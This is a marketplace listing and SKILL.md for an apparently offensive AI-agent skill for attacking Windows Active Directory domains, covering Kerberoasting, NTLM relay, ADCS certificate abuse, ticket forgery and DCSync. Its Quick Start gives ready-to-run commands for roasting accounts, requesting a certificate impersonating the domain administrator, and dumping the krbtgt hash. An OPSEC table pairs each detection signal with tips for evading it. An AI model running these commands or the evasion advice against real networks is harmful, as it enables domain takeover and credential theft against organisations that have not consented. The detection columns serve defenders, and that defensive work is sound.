SkillsAdd

hypnguyen1209/offensive-claude

active-directory-attack

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance

First seen May 24, 2026

Installation

$ npx skills add hypnguyen1209/offensive-claude --skill active-directory-attack
View on skills.sh ↗ GitHub repository ↗

Similar popular skills

Related neighbors and high-traction skills in the same topics — useful to compare before installing.

stripe-directory Similar name
stripe/ai

>- Identifies external providers, merchants, nonprofits, platforms, APIs, and software services…

3.5K installs
wp-plugin-directory-guidelines Similar name
wordpress/agent-skills

Use when reviewing WordPress plugins for GPL compliance, checking license headers or compatibil…

2.6K installs
directory-submissions Similar name
coreyhaines31/marketingskills

When the user wants to submit their product to startup, SaaS, AI, agent, MCP, no-code, or revie…

65.4K installs
stripe-directory Similar name
docs.stripe.com

>- Identifies external providers, merchants, nonprofits, platforms, APIs, and software services…

25.2K installs
active-directory-acl-abuse Similar name
yaklang/hack-skills

>- Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions includ…

2.9K installs
active-directory-kerberos-attacks Similar name
yaklang/hack-skills

>- Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-R…

2.9K installs

Also in this package

Other skills from hypnguyen1209/offensive-claude · top by installs.

npx skills add hypnguyen1209/offensive-claude
reverse-engineering 49 mobile-pentest 29 web-pentest 22 exploit-development 22 coding-mastery 17 recon-osint 16 shellcode-dev 16 edr-evasion 16 crypto-analysis 16 network-attack 15

Browse all from hypnguyen1209/offensive-claude

More details

Agent compatibility

Declared targets from SKILL.md / docs. Unmarked agents are not listed — the skill may still install via the CLI.

Claude Code Not declared
Cursor Not declared
Codex Not declared
GitHub Copilot Not declared
Windsurf Not declared
Gemini CLI Not declared
Cline Not declared
OpenCode Not declared

Repository health

Stars 357
License LICENSE
Default branch main
Open issues 0
Status Active

Skill metadata

Parsed from SKILL.md frontmatter.

More metadata
type
offensive
phase
exploitation
tools
impacket, certipy, rubeus, bloodhound-ce, netexec, krbrelayx, ntlmrelayx, bloodyAD, mimikatz, kerbrute, SharpSuccessor
mitre
TA0008

Package contents

Files included with this skill beyond the listing page.

  • skill md SKILL.md 9,089 B
  • docs SUMMARY.md 302 B

History

  1. First seen on skills.sh
  2. First recorded snapshot · 13 installs

SKILL.md

Active Directory Attacks

When to Activate

  • Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
  • Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
  • Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
  • ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
  • dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
  • BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

Technique ATT&CK CWE Reference Script
BloodHound CE / SharpHound enumeration T1482 CWE-732 references/bloodhound-enum-lateral.md scripts/ad_recon.py
Password spray / PtH / PtT lateral movement T1550.002, T1550.003 CWE-522 references/bloodhound-enum-lateral.md scripts/ad_recon.py
LAPS / gMSA password read T1003 CWE-522 references/bloodhound-enum-lateral.md scripts/ad_recon.py
Kerberoasting T1558.003 CWE-261 references/kerberos-roasting-delegation.md scripts/kerberoast_audit.py
AS-REP roasting T1558.004 CWE-308 references/kerberos-roasting-delegation.md scripts/kerberoast_audit.py
Resource-Based Constrained Delegation (RBCD) T1558, T1098 CWE-269 references/kerberos-roasting-delegation.md scripts/rbcd_takeover.py
Constrained/Unconstrained delegation (S4U) T1558 CWE-269 references/kerberos-roasting-delegation.md scripts/rbcd_takeover.py
Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) T1187 CWE-294 references/coercion-relay.md scripts/coercerelaychain.sh
NTLM relay (SMB/LDAP/ADCS) T1557.001 CWE-294 references/coercion-relay.md scripts/coercerelaychain.sh
NTLM reflection (CVE-2025-33073) T1187, T1557.001 CWE-294 references/coercion-relay.md scripts/coercerelaychain.sh
Kerberos relay / DNS CNAME (CVE-2026-20929) T1557 CWE-294 references/coercion-relay.md scripts/coercerelaychain.sh
ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) T1649 CWE-295 references/adcs-abuse.md scripts/adcsescfinder.py
ADCS ESC8 relay / ESC16 CA-wide override T1649, T1557.001 CWE-295 references/adcs-abuse.md scripts/adcsescfinder.py
Golden / Silver / Diamond / Sapphire ticket T1558.001, T1558.002 CWE-345 references/ticket-forgery-dcsync.md -
DCSync (DRSUAPI replication) T1003.006 CWE-269 references/ticket-forgery-dcsync.md -
noPac / sAMAccountName spoofing (CVE-2021-42278/87) T1558 CWE-287 references/ticket-forgery-dcsync.md -
dMSA BadSuccessor (CVE-2025-53779) T1098, T1558 CWE-269 references/dmsa-badsuccessor.md scripts/Get-BadSuccessorOUPermissions.ps1

Quick Start

# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u [email protected] -p 'Pass' -ca CA -template Vuln -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

Technique Telemetry / IOC Detection (Sigma / EDR) OPSEC note
SharpHound/LDAP enum Hundreds of LDAP queries from one host; 4662 directory access SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes Throttle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics
Kerberoasting 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host Sigma winsecuritysuspkerberosmanipulation; alert on RC4 TGS bursts Request AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow
AS-REP roasting 4768 AS-REQ no-preauth; etype 23 Alert on AS-REQ for DONTREQPREAUTH accounts Only target accounts BloodHound flags; offline crack
Coercion EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host Sigma coercion/PetitPotam; RPC firewall (RpcFilter) logs Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback
NTLM relay / reflection 4624/4648 NTLM logon to self; SMB→LDAP from non-server Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct
ADCS ESC 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection Restore templates (ESC4); EPA on certsrv breaks ESC8 relay
Ticket forgery TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) Match domain ticket policy lifetimes; use AES keys not RC4
DCSync 4662 DRSUAPI GetNCChanges from non-DC Sigma dcsync; alert DRSUAPI replication from non-DC IP Run from a host that looks like a DC; avoid /all, target krbtgt only
dMSA BadSuccessor 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive

Deep Dives

  • references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
  • references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
  • references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
  • references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
  • references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
  • references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.